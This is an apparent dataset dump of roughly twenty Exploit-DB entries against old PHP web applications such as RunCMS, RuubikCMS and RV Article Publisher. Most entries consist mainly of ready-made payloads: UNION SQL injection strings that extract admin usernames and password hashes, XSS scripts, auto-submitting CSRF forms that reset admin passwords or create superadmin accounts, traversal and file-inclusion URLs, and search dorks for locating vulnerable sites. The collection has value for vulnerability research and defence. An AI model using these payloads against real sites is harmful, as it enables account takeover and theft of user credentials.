deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34266
Description: RunCMS 2.1 - 'check.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-07
Author: Andrei Rimsa Alvares

Exploit:
source: https://www.securityfocus.com/bid/41448/info

RunCms is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

RunCms 2.1 is vulnerable; other versions may also be affected. 

The following example request is available:

wget --user-agent="
" http://www.example.com/modules/forum/check.php
Exploit-DB #34295
Description: RunCMS 2.1 - 'magpie_debug.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-11
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41551/info

RunCms is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

RunCms 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/runcms2.1/modules/headlines/magpierss/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #35334
Description: RunCMS 2.2.2 - 'register.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46342/info

RunCMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

RunCMS 2.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/register.php?uname=user3&email=user%40test2.com&user_viewemail=0&name=user3&address=nope&zip_code=123&town=nope&user_from=nope&phone=123&user_avatar=blank.gif&timezone_offset=123'SQL_CODE_HERE&url=http%3A%2F%2Fnope&language=english&passw=password&vpassw=password&user_mailok=1&verify_text=&verify_crc=&keystring=368483&op=finish
Exploit-DB #5340
Description: RunCMS Module bamagalerie3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-01
Author: DreamTurk

Exploit:
[~] RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection's (cid)
[~]
[~] Script Page : http://runcms.org/
[~] ----------------------------------------------------------
[~]
[~] AUTHOR : DreamTurk
[~] Exploit coded and founded by DreamTurk :)
[~]
[~]
[~] dream@dr3amturk.org
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-Cr@zy_King :)
[~]
[~]
[~]
[~]| Cr@zy_King |  X-c0d3r |
[~]
[~]-------------------------------------------------------------
[~] Exploit :-
[~]
[~] modules/bamagalerie3/viewcat.php?id=31&cid=Sql
[~]
[~] Sql 1 :
[~] -99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*
[~] Sql 2 :
[~] -99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

# milw0rm.com [2008-04-01]
Exploit-DB #5156
Description: RunCMS Module MyAnnonces - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: S@BUN

Exploit:
###############################################################
#
# runcms MyAnnonces SQL Injection(cid)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME 1 : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "modules MyAnnonces index php pa view"
#
################################################################
EXAMPLE
XXXXMyAnnonces/index.php?pa=view&cid=[EXPLOiT]

EXPLOIT :

for admin = -9999999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

for pass = -9999999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*



################################################################
# S@BUN i AM NOT HACKER S@BUN
################################################################

# milw0rm.com [2008-02-19]
Exploit-DB #5505
Description: RunCMS Module MyArticles 0.6 Beta-1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-04-26
Author: Cr@zy_King

Exploit:
Cr@zy_King / crazy_kinq@hotmail.co.uk

' 횂쩔? seL횄짠uK abim1z qururumuzsun alt횆짹n kemer Trabzonun !..

K1 World Champions Sel횄짠uk Ayd횆짹n The Best Of , Number One ;)

RunCms MyArticles Module 0.6 Beta-1 Remote Sql 횆째nj.

Down : https://sourceforge.net/project/showfiles.php?group_id=155086&package_id=212714&release_id=466097

Sql : http://localhost/modules/myarticles/topics.php?op=listarticles&topic_id=Sql.

Sql : -2 union select 1,2,concat_ws(0x3a,uname,pass),4,5,6 from runcms_users

B횄쩌t횄쩌n T횄쩌rkiye'ye Ve D횄쩌nya'ya Selam oLsun aLt횆짹n Kemer Trabzonun !

http://coderx.org and http://scriptlife.org 

# milw0rm.com [2008-04-26]
Exploit-DB #35618
Description: RunCMS Module Partners - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-04-15
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47388/info

The RunCMS 'partners' module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/[path]/modules/partners/index.php?op=visit_partner&id=1+and+2=0+union+select+1,2,pass,4,5,pwdsalt,7,8,9,10+from+runcms_users+where+uid=2
Exploit-DB #5290
Description: RunCMS Module Photo 3.02 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-21
Author: S@BUN

Exploit:
##########################################
#
# RunCMS Module Photo 3.02 SQL injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "modules/photo/viewcat.php?id"
#
# DORK 2 : inurl:photo "powered by runcms"
#
###########################################
EXPLOIT :

admin

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

pass

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*

###########################################
RunCMS Photo Version : 3.02 module. #
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################
##http://my.opera.com/SQL-Injection/blog/##
###########################################

# milw0rm.com [2008-03-21]
Exploit-DB #5285
Description: RunCMS Module section - 'artid' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-20
Author: Cr@zy_King

Exploit:
Cr@zy_King

crazy_kinq@hotmail.co.uk / hackshow.us

Grtz : Crackers_Child - str0ke - 3php - Alemin_Krali - Eno7 - DreamTurk - The_Bekir - Mhzr91

Runcms Module Section (artid) Remote Sql Ä°nj. Vuln.

Example :

 - modules/sections/index.php?op=viewarticle&artid=Sql

 - Sql : 1+and+1=0+union+select+1,2,pass,4,5,pwdsalt,7,8,9,10+from+runcms_users+where+uid=2

Cr@ Says : Kurtlar Vadisinde Memati Ã–lmeyecek kimse heyecanlanmasÄ±n :D

Alemin_Krali Says : Aynen katÄ±lÄ±yorum (ne alaka ise a.q)

Good.

# milw0rm.com [2008-03-20]
Exploit-DB #12716
Description: runt-communications Design - 'property_more.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------

runt-communications Design (property_more.php) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------

Author: CoBRa_21

Mail: uyku_cu@windowslive.com

Script Home: http://runtcommunications.com

-------------------------------------------------------------------------------------------

Sql Injection:

http://localhost/[path]/property_more.php?id=-9999 union select 0,version(),2,3,group_concat(username,0x3a,password),5,6,7,8,9,10,11 from users

Admin Panel

http://localhost/[path]/admin
-------------------------------------------------------------------------------------------
Exploit-DB #12707
Description: runt-communications Design - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: XroGuE

Exploit:
=========================================================
runt-communications Design SQL Injection Vulnerability
=========================================================
##########################################
# Name: runt-communications Design SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: http://runtcommunications.com
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork: intext:Design by: runt communications

[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]

[+] Demo: http://server/spotlight.php?id=-999+union+all+select+version(),2,3,4,5--


##########################################
Exploit-DB #35431
Description: Ruubikcms 1.0.3 - 'head.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-03-08
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/46794/info

RuubikCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RuubikCMS 1.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/ruubikcms/cms/includes/head.php?cmspage=</title><script>alert(123);</script>
Exploit-DB #34042
Description: Ruubikcms 1.0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40375/info

RuubikCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RuubikCMS 1.0.3 is vulnerable; other versions may also be affected. 

<form action="http://example.com/ruubikcms/cms/index.php?p=home" method="post" name="main" > <input type="hidden" name="save" value="1" /> <input type="hidden" name="ordernum" value="1" /> <input type="hidden" name="name" value="Home" /> <input type="hidden" name="header1" value="Home" /> <input type="hidden" name="pageurl" value="home" /> <input type="hidden" name="pagelink" value="%2Findex.php%2Fhome" /> <input type="hidden" name="mother_hidden" value="" /> <input type="hidden" name="creator" value="admin" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="description" value='hello"><script>alert(document.cookie)</script>' /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="extracode" value="" /> <input type="hidden" name="picfile1" value="" /> <input type="hidden" name="picfile2" value="" /> <input type="hidden" name="tinyMCE" value="page content here..." /> </form> <script> document.main.submit(); </script>
Exploit-DB #16946
Description: Ruubikcms 1.0.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-08
Author: Khashayar Fereidani

Exploit:
----------------------------------------------------------------
WebApplication : RuubikCMS Version 1.0.3
Type of vunlnerability : CSRF ( Change Admin Password ) And XSS
Risk of use : Medium
----------------------------------------------------------------
Producer Website : http://www.ruubikcms.com/
----------------------------------------------------------------
Discovered by : Khashayar Fereidani
Team Website : Http://IRCRASH.COM
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim
English Forums : Http://IRCRASH.COM/forums/
Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------

CSRF For Change Admin Password :

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://examplesite/ruubikcms/cms/users.php?role=5&p=admin";

method="POST" name="form">

<input type="hidden" name="save" value="1">

<input type="hidden" name="ordernum" value="1">

<input type="hidden" name="username_hidden" value="admin">

<input type="hidden" name="password" value="password">

<input type="hidden" name="confirmpassword" value="password">



</form>
</body>
</html>

------------------------------------------------

Cross Site Scripting Vulnerability :

http://examplesite/ruubikcms/cms/includes/head.php?cmspage=</title><script>alert(123);</script>
Exploit-DB #17984
Description: Ruubikcms 1.1.0 - '/extra/image.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-10-16
Author: Sangyun YOO

Exploit:
 
# Exploit Title: [Ruubikcms v 1.1.0 (/extra/image.php) Local File Inclusion Vulnerability]
# Date: [2011/10/16]
# Author: [Sangyun YOO]
# Software Link: [http://ruubikcms.com/ruubikcms/download.php?f=ruubikcms110.zip]
# Version: [Ruubikcms v 1.1.0]
# Tested on: [Windows 7 Starter K]
---------------------------------------
 
source of /extra/image.php:
1: if (!isset($_GET['f']) OR empty($_GET['f'])) die("Please specify 2: image.");
3: $fpath = BASE_DIR.$_GET['f'];
4: if (!is_file($fpath)) die("File does not exist.");
5: 
6: // file size in bytes
7: // $fsize = filesize($fpath);
8: 
9: // get mime type
10: $mtype = '';
11:
12: if (function_exists('mime_content_type')) {
13: $mtype = mime_content_type($fpath);
14: } elseif (function_exists('finfo_file')) {
15: $finfo = finfo_open(FILEINFO_MIME); // return mime type
16: $mtype = finfo_file($finfo, $fpath);
17: finfo_close($finfo);
18: }
19:
20: if ($mtype == '') {
21: $mtype = "image/jpeg";
22: }
23:
24: header("Content-type: $mtype");
25: readfile($fpath); <--------------------- LFI

proof of concept:

http://[attacked_box]/[ruubikcms1.1.0]/extra/image.php?f=../../../../../../../../boot.ini
http://[attacked_box]/[ruubikcms1.1.0]/extra/image.php?f=../../../../../../../../[localfile]
Exploit-DB #25973
Description: Ruubikcms 1.1.1 - 'tinybrowser.php?folder' Directory Traversal
Type: webapps
Platform: php
Date: 2013-06-05
Author: expl0i13r

Exploit:
# Exploit Title: [ruubikcms v1.1.1 Path Traversal vulnerability]
# Google Dork: [powered by ruubikcms] 
# Date: [2013-6-5]
# Exploit Author: [expl0i13r]
# Vendor Homepage: [http://www.ruubikcms.com/]
# Software Link: [http://www.ruubikcms.com/ruubikcms/download.php?f=ruubikcms111.zip]
# Version: [1.1.1]
# Tested on: [Windows 7]
# Contact: expl0i13r@gmail.com

Description:
-------------

ruubikcms is vulnerable to Path traversal vulnerability, when logged in with any user account, list of files and directory names present on server will be displayed by changing path in URL, this vulnerability exist in "tinybrowser.php"

Also using the same vulnerability we can create folders on server with path of our choice!


POC of the vulnerabilities : 
-----------------------------

Following URL will list files and directory names available in "C:\", similarly we can change paths and list respective files

http://127.0.0.1/[ruubikcms]/ruubikcms/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=file&folder=..%2F..%2F..%2F..%2F..%2F..%2F..%2F&feid=filenameid


Create Folder :
-----------------

By using same path traversal vulnerability we can create folder @ C:\ using below URL

http://127.0.0.1/[ruubikcms]/ruubikcms/tiny_mce/plugins/tinybrowser/tinybrowser.php?type=file&folder=../../../../../bingo&feid=filenameid


# blackpentesters.blogspot.com [2013-6-5]

# Exploit-DB note:
# Certain conditions apply however for everything to work as advertised.
Exploit-DB #25996
Description: Ruubikcms 1.1.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-07
Author: expl0i13r

Exploit:
# Exploit Title: [ruubikcms v1.1.1 Stored XSS]
# Google Dork: [powered by ruubikcms] 
# Date: [2013-6-5]
# Exploit Author: [expl0i13r]
# Vendor Homepage: [http://www.ruubikcms.com/]
# Software Link: [http://www.ruubikcms.com/ruubikcms/download.php?f=ruubikcms111.zip]
# Version: [1.1.1]
# Tested on: [Windows 7]
# Contact: expl0i13r@gmail.com

Description:
-------------

RuubikCMS is an open source website content management tool which is designed to be user-friendly for both the end-user and the webmaster.

ruubikcms v1.1.1 suffers from  Stored XSS vulnerability, when parsing user input to the 'name' parameter via POST method through '/ruubikcms/ruubikcms/cms/index.php'.
Attackers can exploit these weaknesses to execute arbitrary HTML and script code
in a user's browser session.

Tested on : Windows 7 
Browsers  : Chrome,Internet Explorer, Firefox


POC of the vulnerabilities : 
-----------------------------

Stored XSS Vulnerable URL's
----------------------------

http://127.0.0.1/ruubikcms/ruubikcms/cms/index.php		    [vulnerable : name]
http://127.0.0.1/ruubikcms/ruubikcms/cms/extranet.php?p=member-area [vulnerable : name] 
http://127.0.0.1/ruubikcms/ruubikcms/cms/sitesetup.php		    [Vulnerable : name , siteroot]
http://127.0.0.1/ruubikcms/ruubikcms/cms/users.php?role=5&p=test    [Vulnerable : firstname , lastname]

p@yl0ad : "><script>alert('h@cK3d by eXpl0i13r')</script>


Example: 

Pagemanagement > Page name

1. Enter pAyl0ad : "><script>alert('h@cK3d by eXpl0i13r')</script> in: 
   "Page management" > "Page name" textbox
 
2. Refresh page and click on Free Pages and p0p up will come.

3. Also Click on tab "News" which will load our injected XSS code , it will be available in drop down menu : News > Link to page (optional) 


# blackpentesters.blogspot.com [2013-6-5]
# infotech-knowledge.blogspot.com
Exploit-DB #20873
Description: RV Article Publisher - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-28
Author: DaOne

Exploit:
# Exploit Title: RV Article publisher CSRF Vulnerability
# Date: 26/08/2012
# Author: DaOne (@LibyanCA)
# Vendor: http://www.scripts4webmasters.com
# Greetings to LCA


# CSRF Add Admin

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/rvp-admin/user-add.php">
<input type="hidden" name="user_id" value=""/>
<input type="hidden" name="username" value="webadmin">
<input type="hidden" name="email" value="admin@email.com">
<input type="hidden" name="password" value="pass123">
<input type="hidden" name="group[]" value="1"/>
<input type="hidden" name="active" value="1"/>
<input type="hidden" name="superadmin" value="1"/>
<input type="hidden" name="postnote" value=""/>
<input type="hidden" name="save_user" value="Save"/>
</form>
</body>
</html>
Exploit-DB #20874
Description: RV Shopping Cart - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-28
Author: DaOne

Exploit:
# Exploit Title: RV Shopping cart CSRF Vulnerability
# Date: 26/08/2012
# Author: DaOne (@LibyanCA)
# Vendor: http://www.scripts4webmasters.com
# Greetings to LCA


# CSRF Add Admin

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/rvp-admin/user-add.php">
<input type="hidden" name="user_id" value=""/>
<input type="hidden" name="username" value="webadmin">
<input type="hidden" name="email" value="admin@email.com">
<input type="hidden" name="password" value="pass123">
<input type="hidden" name="group[]" value="1"/>
<input type="hidden" name="active" value="1"/>
<input type="hidden" name="superadmin" value="1"/>
<input type="hidden" name="postnote" value=""/>
<input type="hidden" name="save_user" value="Save"/>
</form>
</body>
</html>
Exploit-DB #44484
Description: Rvsitebuilder CMS - Database Backup Download
Type: webapps
Platform: php
Date: 2018-04-18
Author: Hesam Bazvand

Exploit:
# Exploit Title: Rvsitebuilder CMS Database Backup Download
# Exploit Author: Hesam Bazvand
# Contact: black.king066@gmail.com
# Software Link: http://www.rvsitebuilder.com
# Version: All Version
# Tested on: Windows 7 / Kali Linux
# Category: WebApps
# Dork : inurl:rvsindex.php & /rvsindex.php?/user/login
 
*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#

Exploit : 
		Http://Target/rvsDbBackup.sql
Exploit-DB #16080
Description: RW-Download 4.0.6 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-30
Author: Dr.NeT

Exploit:
/////////////////////////_Dr.NeT_/////////////////////////////////_Dr.NeT_//////////////////////_Dr.NeT_//////////*
//*Title   ||=> RW-Download v4.0.6 => (index.php) SQL Injection Vulnerability                                    //
//*Secript ||=> RW-Download                                                                                      //
//*Language||=> Php                                                                                              //
//*Download||=> http://traidnt.net/vb/attachment.php?attachmentid=72765&d=[PII_REDACTED]                             //
//*Date    ||=> 2011-01-30                                                                                       //
//*version ||=> 4.0.6                                                                                            //
//*D0rk    ||=> "Powered by RW-Download v4.0.6"                                                                  //
//*info    ||=> By Dr.Net , Abdullah hacker team , || My Email : xdr.netx@Gmail.com                              //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////*
//*Exploit                                                                                                       //
// ///////                                                                                                       //
// |=> http://localhost/index.php?dlid=1 <== { SQL Injection }                                                   //
// ///////                                                                                                       //
//*Admin Page                                                                                                    //
// |=> http://localhost/admin.php                                                                                //
////                                                                                                             //
//                                                                                                               //
//*Greetz:Black Cobra,Dr.Crackers,Sport Evel,MR.bng,Abdullah hacker team,Mn7rf hacker,toba,nO.wR3a4n,ALL Friend  ||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////// //
/////////////////////////_Dr.NeT_/////////////////////////////////_Dr.NeT_//////////////////////_Dr.NeT_//////////*